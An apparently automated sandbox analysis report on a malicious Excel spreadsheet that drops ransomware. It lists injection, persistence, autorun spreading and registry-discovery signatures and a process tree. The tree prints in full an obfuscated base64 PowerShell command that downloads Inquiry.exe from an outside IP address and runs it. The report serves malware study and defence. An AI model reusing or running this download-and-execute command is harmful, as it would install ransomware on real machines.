a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e

General
Target

a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e

Filesize

N/A

Completed

21-01-2020 16:34

Score
10 /10
SHA256

a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e

Malware Config
Signatures 19

Filter: none

Defense Evasion
Discovery
Impact
Lateral Movement
  • NTFS ADS
    Inquiry.exeInquiry.exe

    Reported IOCs

    descriptioniocprocess
    File createdC:\Users\Admin\AppData\Roaming\Inqyuiry\Inquiry.exe:ZoneIdentifierInquiry.exe
    File createdC:\bot.exe\:ZoneIdentifier:$DATAInquiry.exe
  • Suspicious use of SetWindowsHookEx
    EXCEL.EXEMicrosoftEdge.exeMicrosoftEdgeCP.exe

    Reported IOCs

    pidprocess
    4984EXCEL.EXE
    4804MicrosoftEdge.exe
    1844MicrosoftEdgeCP.exe
  • Suspicious use of WriteProcessMemory
    EXCEL.EXEpowershell.exeInquiry.exeInquiry.exeMicrosoftEdgeCP.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 4984 wrote to memory of 20324984EXCEL.EXEcmd.exe
    PID 3800 wrote to memory of 47003800powershell.exeInquiry.exe
    PID 4700 wrote to memory of 47324700Inquiry.exeInquiry.exe
    PID 4732 wrote to memory of 44284732Inquiry.exeInquiry.exe
    PID 4732 wrote to memory of 44124732Inquiry.exeInquiry.exe
    PID 1844 wrote to memory of 24201844MicrosoftEdgeCP.exeMicrosoftEdgeCP.exe
  • Executes dropped EXE
    Inquiry.exeInquiry.exeInquiry.exeInquiry.exe

    Reported IOCs

    pidprocess
    4700Inquiry.exe
    4732Inquiry.exe
    4428Inquiry.exe
    4412Inquiry.exe
  • Suspicious behavior: MapViewOfSection
    Inquiry.exeMicrosoftEdgeCP.exe

    Reported IOCs

    pidprocess
    4732Inquiry.exe
    1844MicrosoftEdgeCP.exe
  • Modifies registry class
    MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrderMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\ExtensionsMicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefixMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\HistoryMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorageMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLsMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistryMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\ZonesMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\MainMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{5BAE3D7C-8BFC-439C-9113-B7A3E6A90253} = "0"MicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 01000000fff03219c7878e0f699fdd4470c43aee7711f41e6bf645ac84e30674304810232696bfc24c383f5ed7ad47597c7b5e6b4996c7811f23e42d5e96MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"MicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"MicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatusMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigrationMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet SettingsMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowserMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\google.com\Total = "6"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\google.comMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\CookiesMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorageMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsingMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"MicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 106316d680d0d501MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\google.comMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulationMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DomStorageState\EdpCleanupState = "0"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\CacheMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"MicrosoftEdge.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefixMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\TotalMicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "6"MicrosoftEdgeCP.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberCompleted = "1"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUIMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\Total\ = "12"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"MicrosoftEdgeCP.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"MicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgainMicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"MicrosoftEdge.exe
    Set value (int)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000"MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet SettingsMicrosoftEdge.exe
    Set value (data)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000MicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatusMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet ExplorerMicrosoftEdgeCP.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\ContentMicrosoftEdgeCP.exe
  • Enumerates system info in registry
    EXCEL.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\BIOSEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamilyEXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKUEXCEL.EXE
  • Modifies Internet Explorer settings
    MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exe

    TTPs

    Modify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Software\Microsoft\Internet Explorer\MainMicrosoftEdge.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Software\Microsoft\Internet Explorer\Mainbrowser_broker.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Software\Microsoft\Internet Explorer\MainMicrosoftEdgeCP.exe
  • Modifies control panel
    Inquiry.exeMicrosoftEdge.exe

    Tags

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\WallpaperStyle = "2"Inquiry.exe
    Set value (str)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\TileWallpaper = "0"Inquiry.exe
    Key created\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\ColorsMicrosoftEdge.exe
  • Sets desktop wallpaper using registry
    Inquiry.exe

    Tags

    TTPs

    DefacementModify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\Cyborg_DECRYPT.jpg"Inquiry.exe
  • Drops file in Windows directory
    MicrosoftEdge.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\Debug\ESE.TXTMicrosoftEdge.exe
  • Drops autorun.inf file
    Inquiry.exe

    TTPs

    Replication Through Removable Media

    Reported IOCs

    descriptioniocprocess
    File createdC:\autorun.infInquiry.exe
    File opened for modificationC:\autorun.infInquiry.exe
  • Process spawned unexpected child process
    cmd.exe

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process20324984cmd.exeEXCEL.EXE
  • Suspicious use of AdjustPrivilegeToken
    powershell.exeInquiry.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege3800powershell.exe
    Token: SeDebugPrivilege4428Inquiry.exe
    Token: SeDebugPrivilege4804MicrosoftEdge.exe
    Token: SeDebugPrivilege2420MicrosoftEdgeCP.exe
    Token: SeDebugPrivilege4160MicrosoftEdgeCP.exe
  • Suspicious behavior: EnumeratesProcesses
    powershell.exeInquiry.exeInquiry.exeInquiry.exe

    Reported IOCs

    pidprocess
    3800powershell.exe
    4700Inquiry.exe
    4732Inquiry.exe
    4412Inquiry.exe
  • Suspicious use of SetThreadContext
    Inquiry.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 4732 set thread context of 44284732Inquiry.exeInquiry.exe
  • Suspicious behavior: AddClipboardFormatListener
    EXCEL.EXE

    Reported IOCs

    pidprocess
    4984EXCEL.EXE
  • Checks whether UAC is enabled
    MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

    TTPs

    System Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdge.exe
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdgeCP.exe
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdgeCP.exe
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdgeCP.exe
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdgeCP.exe
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUAMicrosoftEdgeCP.exe
  • Checks processor information in registry
    EXCEL.EXE

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0EXCEL.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzEXCEL.EXE
Processes 14
  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a1eb07454ea5adab102dea131a43042b47ab37320077a33c28988f40a7e23d4e.xls
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    Enumerates system info in registry
    Suspicious behavior: AddClipboardFormatListener
    Checks processor information in registry
    PID:4984
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" & /c pOwersHEll -E ZgB1AG4AYwB0AGkAbwBuACAAcABXADkANAAyAEYAdABNAFoAaABLAGkAXwBIAFkAbQBrAFEAagA3AFEAOQBvAHEANAAgACgAIAAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgACkADQAKAHsADQAKAA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoAA0ACgAkAFcATwA5AHMARwB4AHEAYQBnAEIAXwAxAG4ASwBYAHQAXwBwAFcAXwAgACwAIAAkAHMAMgA4AHYARQBwAFYAbABuAGIAcAByAFAAXwBjADEAdQBkAFEAcwBjAEcAZwBFAFQAdgA2AEUASwAgAA0ACgApAA0ACgA7AA0ACgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBjAG8AbQAgAFMAaABlAGwAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgApAC4AUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAKAAgACQAcwAyADgAdgBFAHAAVgBsAG4AYgBwAHIAUABfAGMAMQB1AGQAUQBzAGMARwBnAEUAVAB2ADYARQBLACAAKQANAAoAOwANAAoADQAKAH0ADQAKAA0ACgB0AHIAeQB7AA0ACgANAAoADQAKAA0ACgANAAoADQAKAA0ACgANAAoADQAKACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAPQAkAGUAbgBWADoAdABFAE0AcAArACcAXABJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwA7AA0ACgBwAFcAOQA0ADIARgB0AE0AWgBoAEsAaQBfAEgAWQBtAGsAUQBqADcAUQA5AG8AcQA0ACAAJwBoAHQAdABwADoALwAvADEANQAxAC4AMQAwADYALgAyAC4AMQAwADMALwBJAG4AcQB1AGkAcgB5AC4AZQB4AGUAJwAgACQAdQA4AGgAYwAyAHcAbwA3ADIAdgB1AGEAMQBXAEEAagBaAGIAZQBQAEMAcQBqADUAOwANAAoADQAKAA0ACgANAAoAfQANAAoADQAKAA0ACgBjAGEAdABjAGgAewB9AA==
      Process spawned unexpected child process
      PID:2032
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
